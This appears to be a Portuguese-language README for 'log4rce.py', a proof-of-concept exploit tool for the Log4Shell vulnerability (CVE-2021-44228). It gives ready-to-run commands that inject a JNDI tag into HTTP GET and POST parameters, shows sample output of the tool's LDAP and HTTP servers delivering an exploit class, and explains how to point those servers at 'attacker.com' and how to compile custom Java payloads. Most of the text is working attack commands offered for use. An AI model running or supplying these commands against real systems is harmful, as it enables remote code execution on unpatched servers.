
Um PoC tudo-em-um em Python puro para CVE-2021-44228
Um PoC totalmente integrado em Python3 puro para CVE-2021-44228.
> python3 log4rce.py --target "linux" --payload "PAYLOAD" http -X POST --url "http://localhost:8080/" --data "address=###"
INFO:HTTP:Running on local port 1337
INFO:HTTP:Remote target is http://127.0.0.1:1337/LinuxExploit.class
INFO:LDAP:Running on local port 1387
INFO:Log4J:Sending payload to http://localhost:8080/
INFO:LDAP:Query from ('127.0.0.1', 42554)
INFO:HTTP:Request from ('127.0.0.1', 55328) to /LinuxExploit.class
INFO:Log4J:Done!
Esta é uma ferramenta CLI. Todas as opções podem ser encontradas no menu de ajuda:
python3 log4rce.py --help
A lista é bastante extensa, portanto, a seguir você terá um resumo das funcionalidades.
A ferramenta permite usar alguns modos de ataque. Esses ataques são extensões da classe Log4RCE.
Você pode realizar um ataque automatizado de requisição HTTP a uma URL alvo.
Você pode realizar uma requisição GET da seguinte forma:
python3 log4rce.py http --url "http://www.vuln.com:1234/?vuln_param=###¶m=123" --headers="P1=123&P2=123"
Você pode realizar uma requisição POST da seguinte forma:
python3 log4rce.py http -X POST --url "http://www.vuln.com:1234/" --data "vuln_param=###¶m=123" --headers="P1=123&P2=123"
O anterior injetará a tag JNDI em ###.
Se você não puder usar nenhum dos anteriores, use este modo para despejar a tag JDNI:
python3 log4rce.py manual
A ferramenta permite ampla personalização para a maioria das configurações de rede. Todos os servidores internos podem ser modificados para apontar para diferentes locais de acordo com as configurações remotas.
Você pode configurar o servidor HTTP usando os seguintes parâmetros:
python3 log4rce.py --http_port 1234 --http_rport 12345 --http_host "attacker.com"
http_port: A porta local para executar o servidor.
http_rport: A porta que uma máquina remota acessa.
http_host: O nome do host/IP que uma máquina remota acessa.
Você pode configurar o servidor LDAP usando os seguintes parâmetros:
python3 log4rce.py --ldap_port 1234 --ldap_rport 12345 --ldap_host "attacker.com"
ldap_port: A porta local para executar o servidor.
ldap_rport: A porta que uma máquina remota acessa.
ldap_host: O nome do host/IP que uma máquina remota acessa.
A ferramenta pode lidar com algumas personalizações. A seguir, lista algumas funcionalidades que podem ser do seu interesse.
Você pode injetar um payload na classe Java usando:
python3 log4rce.py --payload "PAYLOAD"
O payload será injetado nas strings "###".
Você pode construir sua própria classe Java usando o seguinte.
javac -source 1.7 -target 1.7 /path/to/Exploit.java
O .class resultante pode ser executado usando:
python3 log4rce.py --java_class "/path/to/Exploit.class" ...
Nota: Você pode adicionar uma string "###" para permitir a injeção de payload.